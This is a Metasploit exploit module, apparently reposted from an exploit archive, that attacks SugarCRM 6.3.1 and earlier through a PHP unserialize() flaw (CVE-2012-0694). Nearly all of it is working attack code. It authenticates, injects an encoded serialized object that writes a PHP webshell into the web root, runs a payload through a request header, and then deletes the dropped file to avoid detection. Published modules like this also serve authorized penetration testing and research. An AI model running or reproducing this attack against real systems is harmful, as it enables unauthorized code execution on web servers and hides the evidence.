SugarCRM <= 6.3.1 unserialize() PHP Code Execution metasploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
            'Description'    => %q{
                    This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
                which could be abused to allow authenticated SugarCRM users to execute arbitrary
                code with the permissions of the webserver.
 
                The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
                script, which is called with user controlled data from the 'current_query_by_page'
                parameter. The exploit abuses the __destruct() method from the SugarTheme class
                to write arbitrary PHP code to a 'pathCache.php' on the web root.
            },
            'Author'    =>
                [
                    'EgiX', # Vulnerability discovery and PoC
                    'juan vazquez', # Metasploit module
                    'sinn3r' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2012-0694' ],
                    [ 'EDB', '19381' ],
                    [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'DisableNops' => true,
                },
            'Targets'        => [ ['Automatic', { }], ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jun 23 2012'
            ))
 
            register_options(
                [
                    OptString.new('TARGETURI',  [ true, "The base path to the web application", "/sugarcrm/"]),
                    OptString.new('USERNAME', [true, "The username to authenticate with" ]),
                    OptString.new('PASSWORD', [true, "The password to authenticate with" ])
                ], self.class)
    end
 
 
    def on_new_session(client)
        if client.type == "meterpreter"
            f = "pathCache.php"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            begin
                client.fs.file.rm(f)
                print_good("#{@peer} - #{f} removed to stay ninja")
            rescue
                print_error("#{@peer} - Unable to remove #{f}")
            end
        end
    end
 
    def exploit
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'
 
        @peer = "#{rhost}:#{rport}"
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
 
        # Can't use vars_post because it'll escape "_"
        data = "module=Users&"
        data << "action=Authenticate&"
        data << "user_name=#{username}&"
        data << "user_password=#{password}"
 
        res = send_request_cgi(
        {
            'uri'    => "#{base}index.php" ,
            'method' => "POST",
            'headers'   =>
                {
                    'Cookie'  => "PHPSESSID=1",
                },
            'data'   => data
        })
 
        if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
            print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
            return
        end
 
        if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
            session_id = $1
        else
            print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
            return
        end
 
        print_status("#{@peer} - Login successful with #{username}:#{password}")
 
        data = "module=Contacts&"
        data << "Contacts2_CONTACT_offset=1&"
        data << "current_query_by_page="
        #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
        data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="
 
        print_status("#{@peer} - Exploiting the unserialize()")
 
        res = send_request_cgi(
        {
            'uri' => "#{base}index.php",
            'method' => 'POST',
            'headers'   =>
            {
                'Cookie'  => "PHPSESSID=#{session_id};",
            },
            'data' => data
        })
 
        if not res or res.code != 200
            print_error("#{@peer} - Exploit failed: #{res.code}")
            return
        end
 
        print_status("#{@peer} - Executing the payload")
 
        res = send_request_cgi(
        {
            'method' => 'GET',
            'uri'    => "#{base}pathCache.php",
            'headers' => {
                'Cmd' => Rex::Text.encode_base64(payload.encoded)
            }
        })
 
        if res
            print_error("#{@peer} - Payload execution failed: #{res.code}")
            return
        end
 
    end
end



#  0day.today [2018-04-08]  #